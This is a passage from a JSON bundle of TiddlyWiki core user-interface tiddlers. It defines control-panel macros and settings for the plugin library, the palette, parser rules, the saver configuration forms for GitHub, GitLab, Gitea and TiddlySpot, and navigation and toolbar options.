infoTitlePrefix=\"$:/temp/RemoteAssetInfo/\"/>\n{{$:/core/images/chevron-right}} {{$:/language/ControlPanel/Plugins/OpenPluginLibrary}}\n</$button>\n\\end\n\n\\define display-server-assets(type)\n{{$:/language/Search/Search}}: <$edit-text tiddler=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" default=\"\" type=\"search\" tag=\"input\"/>\n<$reveal state=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n<div class=\"tc-plugin-library-listing\">\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]search:author,description,original-title,readme,title{$:/temp/RemoteAssetSearch/$(currentTiddler)$}sort[title]]\" variable=\"assetInfo\">\n<$list filter=\"[[$:/temp/RemoteAssetSearch/$(currentTiddler)$]has[text]] ~[<assetInfo>!has[parent-plugin]]\" variable=\"ignore\"><!-- Hide sub-plugins if we're not searching -->\n<<display-plugin-info \"$type$\">>\n</$list>\n</$list>\n</div>\n\\end\n\n\\define display-server-connection()\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/ServerConnection]suffix{!!url}]\" variable=\"connectionTiddler\" emptyMessage=<<load-plugin-library-button>>>\n\n<$set name=\"transclusion\" value=<<connectionTiddler>>>\n\n<<tabs \"[[$:/core/ui/ControlPanel/Plugins/Add/Updates]] [[$:/core/ui/ControlPanel/Plugins/Add/Plugins]] [[$:/core/ui/ControlPanel/Plugins/Add/Themes]] [[$:/core/ui/ControlPanel/Plugins/Add/Languages]]\" \"$:/core/ui/ControlPanel/Plugins/Add/Plugins\">>\n\n</$set>\n\n</$list>\n\\end\n\n\\define close-library-button()\n<$reveal type='nomatch' state='$:/temp/ServerConnection/$(PluginLibraryURL)$' text=''>\n<$button class='tc-btn-big-green'>\n<$action-sendmessage $message=\"tm-unload-plugin-library\" url={{!!url}}/>\n{{$:/core/images/chevron-left}} {{$:/language/ControlPanel/Plugins/ClosePluginLibrary}}\n<$action-deletetiddler $filter=\"[prefix[$:/temp/ServerConnection/$(PluginLibraryURL)$]][prefix[$:/temp/RemoteAssetInfo/$(PluginLibraryURL)$]]\"/>\n</$button>\n</$reveal>\n\\end\n\n\\define plugin-library-listing()\n<div class=\"tc-tab-set\">\n<$set name=\"defaultTab\" value={{{ [all[tiddlers+shadows]tag[$:/tags/PluginLibrary]] }}}>\n<div class=\"tc-tab-buttons\">\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/PluginLibrary]]\">\n<$button set=<<qualify \"$:/state/addplugins/tab\">> setTo=<<currentTiddler>> default=<<defaultTab>> selectedClass=\"tc-tab-selected\">\n<$set name=\"tv-wikilinks\" value=\"no\">\n<$transclude field=\"caption\"/>\n</$set>\n</$button>\n</$list>\n</div>\n<div class=\"tc-tab-divider\"/>\n<div class=\"tc-tab-content\">\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/PluginLibrary]]\">\n<$reveal type=\"match\" state=<<qualify \"$:/state/addplugins/tab\">> text=<<currentTiddler>> default=<<defaultTab>>>\n<h2><$link><$transclude field=\"caption\"><$view field=\"title\"/></$transclude></$link></h2>\n//<$view field=\"url\"/>//\n<$transclude mode=\"block\"/>\n<$set name=PluginLibraryURL value={{!!url}}>\n<<close-library-button>>\n</$set>\n<<display-server-connection>>\n</$reveal>\n</$list>\n</div>\n</$set>\n</div>\n\\end\n\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<div>\n<<plugin-library-listing>>\n</div>\n"
},
"$:/core/ui/ControlPanel/Palette": {
"title": "$:/core/ui/ControlPanel/Palette",
"tags": "$:/tags/ControlPanel/Appearance",
"caption": "{{$:/language/ControlPanel/Palette/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Palette/\n\n{{$:/snippets/paletteswitcher}}\n\n<$reveal type=\"nomatch\" state=\"$:/state/ShowPaletteEditor\" text=\"yes\">\n\n<$button set=\"$:/state/ShowPaletteEditor\" setTo=\"yes\"><<lingo ShowEditor/Caption>></$button>\n\n</$reveal>\n\n<$reveal type=\"match\" state=\"$:/state/ShowPaletteEditor\" text=\"yes\">\n\n<$button set=\"$:/state/ShowPaletteEditor\" setTo=\"no\"><<lingo HideEditor/Caption>></$button>\n{{$:/PaletteManager}}\n\n</$reveal>\n\n"
},
"$:/core/ui/ControlPanel/Parsing": {
"title": "$:/core/ui/ControlPanel/Parsing",
"tags": "$:/tags/ControlPanel/Advanced",
"caption": "{{$:/language/ControlPanel/Parsing/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Parsing/\n\n\\define toggle(Type)\n<$checkbox\ntiddler=\"\"\"$:/config/WikiParserRules/$Type$/$(rule)$\"\"\"\nfield=\"text\"\nchecked=\"enable\"\nunchecked=\"disable\"\ndefault=\"enable\">\n<<rule>>\n</$checkbox>\n\\end\n\n\\define rules(type,Type)\n<$list filter=\"[wikiparserrules[$type$]]\" variable=\"rule\">\n<dd><<toggle $Type$>></dd>\n</$list>\n\\end\n\n<<lingo Hint>>\n\n<dl>\n<dt><<lingo Pragma/Caption>></dt>\n<<rules pragma Pragma>>\n<dt><<lingo Inline/Caption>></dt>\n<<rules inline Inline>>\n<dt><<lingo Block/Caption>></dt>\n<<rules block Block>>\n</dl>"
},
"$:/core/ui/ControlPanel/Plugins/Add/Languages": {
"title": "$:/core/ui/ControlPanel/Plugins/Add/Languages",
"caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}} (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[language]]\"/>)",
"text": "<<display-server-assets language>>\n"
},
"$:/core/ui/ControlPanel/Plugins/Add/Plugins": {
"title": "$:/core/ui/ControlPanel/Plugins/Add/Plugins",
"caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}} (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[plugin]]\"/>)",
"text": "<<display-server-assets plugin>>\n"
},
"$:/core/ui/ControlPanel/Plugins/Add/Themes": {
"title": "$:/core/ui/ControlPanel/Plugins/Add/Themes",
"caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}} (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[theme]]\"/>)",
"text": "<<display-server-assets theme>>\n"
},
"$:/core/ui/ControlPanel/Plugins/Add/Updates": {
"title": "$:/core/ui/ControlPanel/Plugins/Add/Updates",
"caption": "<$importvariables filter=\"$:/core/ui/ControlPanel/Plugins/Add/Updates\">{{$:/language/ControlPanel/Plugins/Updates/Caption}} (<<update-count>>)</$importvariables>",
"text": "\\define each-updateable-plugin(body)\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}sort[title]]\" variable=\"assetInfo\">\n<$set name=\"libraryVersion\" value={{{ [<assetInfo>get[version]] }}}>\n<$list filter=\"[<assetInfo>get[original-title]has[version]!version<libraryVersion>]\" variable=\"ignore\">\n<$set name=\"installedVersion\" value={{{ [<assetInfo>get[original-title]get[version]] }}}>\n<$list filter=\"[<installedversion>!match<libraryVersion>]\" variable=\"ignore\">\n$body$\n</$list>\n</$set>\n</$list>\n</$set>\n</$list>\n\\end\n\n\\define update-all-actions()\n<$macrocall $name=\"each-updateable-plugin\" body=\"\"\"\n<<install-plugin-actions>>\n\"\"\"/>\n\\end\n\n\\define update-count()\n<$wikify name=\"count-filter\" text=<<each-updateable-plugin \"[[<$text text=<<assetInfo>>/>]]\">>><$count filter=<<count-filter>>/></$wikify>\n\\end\n\n<$button actions=<<update-all-actions>> class=\"tc-btn-invisible tc-install-plugin tc-reinstall-upgrade\">\n{{$:/core/images/download-button}} {{||$:/language/ControlPanel/Plugins/Updates/UpdateAll/Caption}}\n</$button>\n\n<div class=\"tc-plugin-library-listing\">\n<$macrocall $name=\"each-updateable-plugin\" body=\"\"\"\n<$macrocall $name=\"display-plugin-info\" type={{{ [<assetInfo>get[original-plugin-type]] }}}/>\n\"\"\"/>\n</div>\n"
},
"$:/core/ui/ControlPanel/Plugins/AddPlugins": {
"title": "$:/core/ui/ControlPanel/Plugins/AddPlugins",
"text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n<$button message=\"tm-modal\" param=\"$:/core/ui/ControlPanel/Modals/AddPlugins\" tooltip={{$:/language/ControlPanel/Plugins/Add/Hint}} class=\"tc-btn-big-green tc-primary-btn\">\n{{$:/core/images/download-button}} <<lingo Add/Caption>>\n</$button>\n"
},
"$:/core/ui/ControlPanel/Plugins/Installed/Languages": {
"title": "$:/core/ui/ControlPanel/Plugins/Installed/Languages",
"caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[language]]\"/>)",
"text": "<<plugin-table language>>\n"
},
"$:/core/ui/ControlPanel/Plugins/Installed/Plugins": {
"title": "$:/core/ui/ControlPanel/Plugins/Installed/Plugins",
"caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[plugin]]\"/>)",
"text": "<<plugin-table plugin>>\n"
},
"$:/core/ui/ControlPanel/Plugins/Installed/Themes": {
"title": "$:/core/ui/ControlPanel/Plugins/Installed/Themes",
"caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[theme]]\"/>)",
"text": "<<plugin-table theme>>\n"
},
"$:/core/ui/ControlPanel/Plugins": {
"title": "$:/core/ui/ControlPanel/Plugins",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/Plugins/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n\\define plugin-table(type)\n<$set name=\"plugin-type\" value=\"\"\"$type$\"\"\">\n<$set name=\"qualified-state\" value=<<qualify \"$:/state/plugin-info\">>>\n<$list filter=\"[!has[draft.of]plugin-type[$type$]sort[title]]\" emptyMessage=<<lingo \"Empty/Hint\">> template=\"$:/core/ui/Components/plugin-info\"/>\n</$set>\n</$set>\n\\end\n\n{{$:/core/ui/ControlPanel/Plugins/AddPlugins}}\n\n<<lingo Installed/Hint>>\n\n<<tabs \"[[$:/core/ui/ControlPanel/Plugins/Installed/Plugins]] [[$:/core/ui/ControlPanel/Plugins/Installed/Themes]] [[$:/core/ui/ControlPanel/Plugins/Installed/Languages]]\" \"$:/core/ui/ControlPanel/Plugins/Installed/Plugins\">>\n"
},
"$:/core/ui/ControlPanel/Saving/DownloadSaver": {
"title": "$:/core/ui/ControlPanel/Saving/DownloadSaver",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/DownloadSaver/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Saving/DownloadSaver/\n\n<<lingo Hint>>\n\n!! <$link to=\"$:/config/DownloadSaver/AutoSave\"><<lingo AutoSave/Hint>></$link>\n\n<$checkbox tiddler=\"$:/config/DownloadSaver/AutoSave\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <<lingo AutoSave/Description>> </$checkbox>\n"
},
"$:/core/ui/ControlPanel/Saving/General": {
"title": "$:/core/ui/ControlPanel/Saving/General",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/General/Caption}}",
"list-before": "",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/\n\n{{$:/language/ControlPanel/Saving/General/Hint}}\n\n!! <$link to=\"$:/config/AutoSave\"><<lingo AutoSave/Caption>></$link>\n\n<<lingo AutoSave/Hint>>\n\n<$radio tiddler=\"$:/config/AutoSave\" value=\"yes\"> <<lingo AutoSave/Enabled/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/AutoSave\" value=\"no\"> <<lingo AutoSave/Disabled/Description>> </$radio>\n"
},
"$:/core/ui/ControlPanel/Saving/GitHub": {
"title": "$:/core/ui/ControlPanel/Saving/GitHub",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/GitService/GitHub/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Saving/GitService/\n\\define service-name() ~GitHub\n\n<<lingo Description>>\n\n|<<lingo UserName>> |<$edit-text tiddler=\"$:/GitHub/Username\" default=\"\" tag=\"input\"/> |\n|<<lingo GitHub/Password>> |<$password name=\"github\"/> |\n|<<lingo Repo>> |<$edit-text tiddler=\"$:/GitHub/Repo\" default=\"\" tag=\"input\"/> |\n|<<lingo Branch>> |<$edit-text tiddler=\"$:/GitHub/Branch\" default=\"master\" tag=\"input\"/> |\n|<<lingo Path>> |<$edit-text tiddler=\"$:/GitHub/Path\" default=\"\" tag=\"input\"/> |\n|<<lingo Filename>> |<$edit-text tiddler=\"$:/GitHub/Filename\" default=\"\" tag=\"input\"/> |\n|<<lingo ServerURL>> |<$edit-text tiddler=\"$:/GitHub/ServerURL\" default=\"https://api.github.com\" tag=\"input\"/> |"
},
"$:/core/ui/ControlPanel/Saving/GitLab": {
"title": "$:/core/ui/ControlPanel/Saving/GitLab",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/GitService/GitLab/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Saving/GitService/\n\\define service-name() ~GitLab\n\n<<lingo Description>>\n\n|<<lingo UserName>> |<$edit-text tiddler=\"$:/GitLab/Username\" default=\"\" tag=\"input\"/> |\n|<<lingo GitLab/Password>> |<$password name=\"gitlab\"/> |\n|<<lingo Repo>> |<$edit-text tiddler=\"$:/GitLab/Repo\" default=\"\" tag=\"input\"/> |\n|<<lingo Branch>> |<$edit-text tiddler=\"$:/GitLab/Branch\" default=\"master\" tag=\"input\"/> |\n|<<lingo Path>> |<$edit-text tiddler=\"$:/GitLab/Path\" default=\"\" tag=\"input\"/> |\n|<<lingo Filename>> |<$edit-text tiddler=\"$:/GitLab/Filename\" default=\"\" tag=\"input\"/> |\n|<<lingo ServerURL>> |<$edit-text tiddler=\"$:/GitLab/ServerURL\" default=\"https://gitlab.com/api/v4\" tag=\"input\"/> |"
},
"$:/core/ui/ControlPanel/Saving/TiddlySpot": {
"title": "$:/core/ui/ControlPanel/Saving/TiddlySpot",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/TiddlySpot/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Saving/TiddlySpot/\n\n\\define backupURL()\nhttp://$(userName)$.tiddlyspot.com/backup/\n\\end\n\\define backupLink()\n<$reveal type=\"nomatch\" state=\"$:/UploadName\" text=\"\">\n<$set name=\"userName\" value={{$:/UploadName}}>\n<$reveal type=\"match\" state=\"$:/UploadURL\" text=\"\">\n<<backupURL>>\n</$reveal>\n<$reveal type=\"nomatch\" state=\"$:/UploadURL\" text=\"\">\n<$macrocall $name=resolvePath source={{$:/UploadBackupDir}} root={{$:/UploadURL}}>>\n</$reveal>\n</$set>\n</$reveal>\n\\end\n\n<<lingo Description>>\n\n|<<lingo UserName>> |<$edit-text tiddler=\"$:/UploadName\" default=\"\" tag=\"input\"/> |\n|<<lingo Password>> |<$password name=\"upload\"/> |\n|<<lingo Backups>> |<<backupLink>> |\n\n''<<lingo Advanced/Heading>>''\n\n|<<lingo ServerURL>> |<$edit-text tiddler=\"$:/UploadURL\" default=\"\" tag=\"input\"/> |\n|<<lingo Filename>> |<$edit-text tiddler=\"$:/UploadFilename\" default=\"index.html\" tag=\"input\"/> |\n|<<lingo UploadDir>> |<$edit-text tiddler=\"$:/UploadDir\" default=\".\" tag=\"input\"/> |\n|<<lingo BackupDir>> |<$edit-text tiddler=\"$:/UploadBackupDir\" default=\".\" tag=\"input\"/> |\n\n<<lingo TiddlySpot/Hint>>"
},
"$:/core/ui/ControlPanel/Saving/Gitea": {
"title": "$:/core/ui/ControlPanel/Saving/Gitea",
"tags": "$:/tags/ControlPanel/Saving",
"caption": "{{$:/language/ControlPanel/Saving/GitService/Gitea/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Saving/GitService/\n\\define service-name() ~Gitea\n\n<<lingo Description>>\n\n|<<lingo UserName>> |<$edit-text tiddler=\"$:/Gitea/Username\" default=\"\" tag=\"input\"/> |\n|<<lingo Gitea/Password>> |<$password name=\"Gitea\"/> |\n|<<lingo Repo>> |<$edit-text tiddler=\"$:/Gitea/Repo\" default=\"\" tag=\"input\"/> |\n|<<lingo Branch>> |<$edit-text tiddler=\"$:/Gitea/Branch\" default=\"master\" tag=\"input\"/> |\n|<<lingo Path>> |<$edit-text tiddler=\"$:/Gitea/Path\" default=\"\" tag=\"input\"/> |\n|<<lingo Filename>> |<$edit-text tiddler=\"$:/Gitea/Filename\" default=\"\" tag=\"input\"/> |\n|<<lingo ServerURL>> |<$edit-text tiddler=\"$:/Gitea/ServerURL\" default=\"https://gitea/api/v1\" tag=\"input\"/> |\n"
},
"$:/core/ui/ControlPanel/Saving": {
"title": "$:/core/ui/ControlPanel/Saving",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/Saving/Caption}}",
"text": "{{$:/language/ControlPanel/Saving/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Saving]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Saving/General\">>\n</div>\n"
},
"$:/core/buttonstyles/Borderless": {
"title": "$:/core/buttonstyles/Borderless",
"tags": "$:/tags/ToolbarButtonStyle",
"caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless}}",
"text": "tc-btn-invisible"
},
"$:/core/buttonstyles/Boxed": {
"title": "$:/core/buttonstyles/Boxed",
"tags": "$:/tags/ToolbarButtonStyle",
"caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed}}",
"text": "tc-btn-boxed"
},
"$:/core/buttonstyles/Rounded": {
"title": "$:/core/buttonstyles/Rounded",
"tags": "$:/tags/ToolbarButtonStyle",
"caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded}}",
"text": "tc-btn-rounded"
},
"$:/core/ui/ControlPanel/Settings/CamelCase": {
"title": "$:/core/ui/ControlPanel/Settings/CamelCase",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/CamelCase/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/CamelCase/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/WikiParserRules/Inline/wikilink\" field=\"text\" checked=\"enable\" unchecked=\"disable\" default=\"enable\"> <$link to=\"$:/config/WikiParserRules/Inline/wikilink\"><<lingo Description>></$link> </$checkbox>\n"
},
"$:/core/ui/ControlPanel/Settings/DefaultMoreSidebarTab": {
"title": "$:/core/ui/ControlPanel/Settings/DefaultMoreSidebarTab",
"caption": "{{$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption}}",
"tags": "$:/tags/ControlPanel/Settings",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/DefaultMoreSidebarTab/\n\n<$link to=\"$:/config/DefaultMoreSidebarTab\"><<lingo Hint>></$link>\n\n<$select tiddler=\"$:/config/DefaultMoreSidebarTab\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar]!has[draft.of]]\">\n<option value=<<currentTiddler>>><$transclude field=\"caption\"><$text text=<<currentTiddler>>/></$transclude></option>\n</$list>\n</$select>\n"
},
"$:/core/ui/ControlPanel/Settings/DefaultSidebarTab": {
"title": "$:/core/ui/ControlPanel/Settings/DefaultSidebarTab",
"caption": "{{$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption}}",
"tags": "$:/tags/ControlPanel/Settings",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/DefaultSidebarTab/\n\n<$link to=\"$:/config/DefaultSidebarTab\"><<lingo Hint>></$link>\n\n<$select tiddler=\"$:/config/DefaultSidebarTab\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SideBar]!has[draft.of]]\">\n<option value=<<currentTiddler>>><$transclude field=\"caption\"><$text text=<<currentTiddler>>/></$transclude></option>\n</$list>\n</$select>\n"
},
"$:/core/ui/ControlPanel/Settings/EditorToolbar": {
"title": "$:/core/ui/ControlPanel/Settings/EditorToolbar",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/EditorToolbar/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/EditorToolbar/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/TextEditor/EnableToolbar\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/TextEditor/EnableToolbar\"><<lingo Description>></$link> </$checkbox>\n\n"
},
"$:/core/ui/ControlPanel/Settings/InfoPanelMode": {
"title": "$:/core/ui/ControlPanel/Settings/InfoPanelMode",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/InfoPanelMode/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/InfoPanelMode/\n<$link to=\"$:/config/TiddlerInfo/Mode\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/TiddlerInfo/Mode\" value=\"popup\"> <<lingo Popup/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/TiddlerInfo/Mode\" value=\"sticky\"> <<lingo Sticky/Description>> </$radio>\n"
},
"$:/core/ui/ControlPanel/Settings/LinkToBehaviour": {
"title": "$:/core/ui/ControlPanel/Settings/LinkToBehaviour",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/LinkToBehaviour/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/LinkToBehaviour/\n\n<$link to=\"$:/config/Navigation/openLinkFromInsideRiver\"><<lingo \"InsideRiver/Hint\">></$link>\n\n<$select tiddler=\"$:/config/Navigation/openLinkFromInsideRiver\">\n <option value=\"above\"><<lingo \"OpenAbove\">></option>\n <option value=\"below\"><<lingo \"OpenBelow\">></option>\n <option value=\"top\"><<lingo \"OpenAtTop\">></option>\n <option value=\"bottom\"><<lingo \"OpenAtBottom\">></option>\n</$select>\n\n<$link to=\"$:/config/Navigation/openLinkFromOutsideRiver\"><<lingo \"OutsideRiver/Hint\">></$link>\n\n<$select tiddler=\"$:/config/Navigation/openLinkFromOutsideRiver\">\n <option value=\"top\"><<lingo \"OpenAtTop\">></option>\n <option value=\"bottom\"><<lingo \"OpenAtBottom\">></option>\n</$select>\n"
},
"$:/core/ui/ControlPanel/Settings/MissingLinks": {
"title": "$:/core/ui/ControlPanel/Settings/MissingLinks",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/MissingLinks/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/MissingLinks/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/MissingLinks\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/MissingLinks\"><<lingo Description>></$link> </$checkbox>\n\n"
},
"$:/core/ui/ControlPanel/Settings/NavigationAddressBar": {
"title": "$:/core/ui/ControlPanel/Settings/NavigationAddressBar",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/NavigationAddressBar/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationAddressBar/\n\n<$link to=\"$:/config/Navigation/UpdateAddressBar\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"permaview\"> <<lingo Permaview/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"permalink\"> <<lingo Permalink/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
},
"$:/core/ui/ControlPanel/Settings/NavigationHistory": {
"title": "$:/core/ui/ControlPanel/Settings/NavigationHistory",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/NavigationHistory/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationHistory/\n<$link to=\"$:/config/Navigation/UpdateHistory\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateHistory\" value=\"yes\"> <<lingo Yes/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateHistory\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
},
"$:/core/ui/ControlPanel/Settings/NavigationPermalinkviewMode": {
"title": "$:/core/ui/ControlPanel/Settings/NavigationPermalinkviewMode",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationPermalinkviewMode/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Navigation/Permalinkview/CopyToClipboard\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Navigation/Permalinkview/CopyToClipboard\"><<lingo CopyToClipboard/Description>></$link> </$checkbox>\n\n<$checkbox tiddler=\"$:/config/Navigation/Permalinkview/UpdateAddressBar\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Navigation/Permalinkview/UpdateAddressBar\"><<lingo UpdateAddressBar/Description>></$link> </$checkbox>\n"
},
"$:/core/ui/ControlPanel/Settings/PerformanceInstrumentation": {
"title": "$:/core/ui/ControlPanel/Settings/PerformanceInstrumentation",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/PerformanceInstrumentation/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Performance/Instrumentation\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <$link to=\"$:/config/Performance/Instrumentation\"><<lingo Description>></$link> </$checkbox>\n"
},
"$:/core/ui/ControlPanel/Settings/TitleLinks": {
"title": "$:/core/ui/ControlPanel/Settings/TitleLinks",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/TitleLinks/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/TitleLinks/\n<$link to=\"$:/config/Tiddlers/TitleLinks\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Tiddlers/TitleLinks\" value=\"yes\"> <<lingo Yes/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Tiddlers/TitleLinks\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
},
"$:/core/ui/ControlPanel/Settings/ToolbarButtonStyle": {
"title": "$:/core/ui/ControlPanel/Settings/ToolbarButtonStyle",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/ToolbarButtonStyle/\n<$link to=\"$:/config/Toolbar/ButtonClass\"><<lingo \"Hint\">></$link>\n\n<$select tiddler=\"$:/config/Toolbar/ButtonClass\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ToolbarButtonStyle]]\">\n<option value={{!!text}}>{{!!caption}}</option>\n</$list>\n</$select>\n"
},
"$:/core/ui/ControlPanel/Settings/ToolbarButtons": {
"title": "$:/core/ui/ControlPanel/Settings/ToolbarButtons",
"tags": "$:/tags/ControlPanel/Settings",
"caption": "{{$:/language/ControlPanel/Settings/ToolbarButtons/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/ToolbarButtons/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Toolbar/Icons\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Toolbar/Icons\"><<lingo Icons/Description>></$link> </$checkbox>\n\n<$checkbox tiddler=\"$:/config/Toolbar/Text\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <$link to=\"$:/config/Toolbar/Text\"><<lingo Text/Description>></$link> </$checkbox>\n"
},
"$:/core/ui/ControlPanel/Settings": {
"title": "$:/core/ui/ControlPanel/Settings",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/Settings/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Settings/\n\n<<lingo Hint>>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Settings]]\">\n\n<div style=\"border-top:1px solid #eee;\">\n\n!! <$link><$transclude field=\"caption\"/></$link>\n\n<$transclude/>\n\n</div>\n\n</$list>\n"
},
"$:/core/ui/ControlPanel/StoryView": {
"title": "$:/core/ui/ControlPanel/StoryView",
"tags": "$:/tags/ControlPanel/Appearance",
"caption": "{{$:/language/ControlPanel/StoryView/Caption}}",
"text": "{{$:/snippets/viewswitcher}}\n"
},
"$:/core/ui/ControlPanel/Stylesheets": {
"title": "$:/core/ui/ControlPanel/Stylesheets",
"tags": "$:/tags/ControlPanel/Advanced",
"caption": "{{$:/language/ControlPanel/Stylesheets/Caption}}",
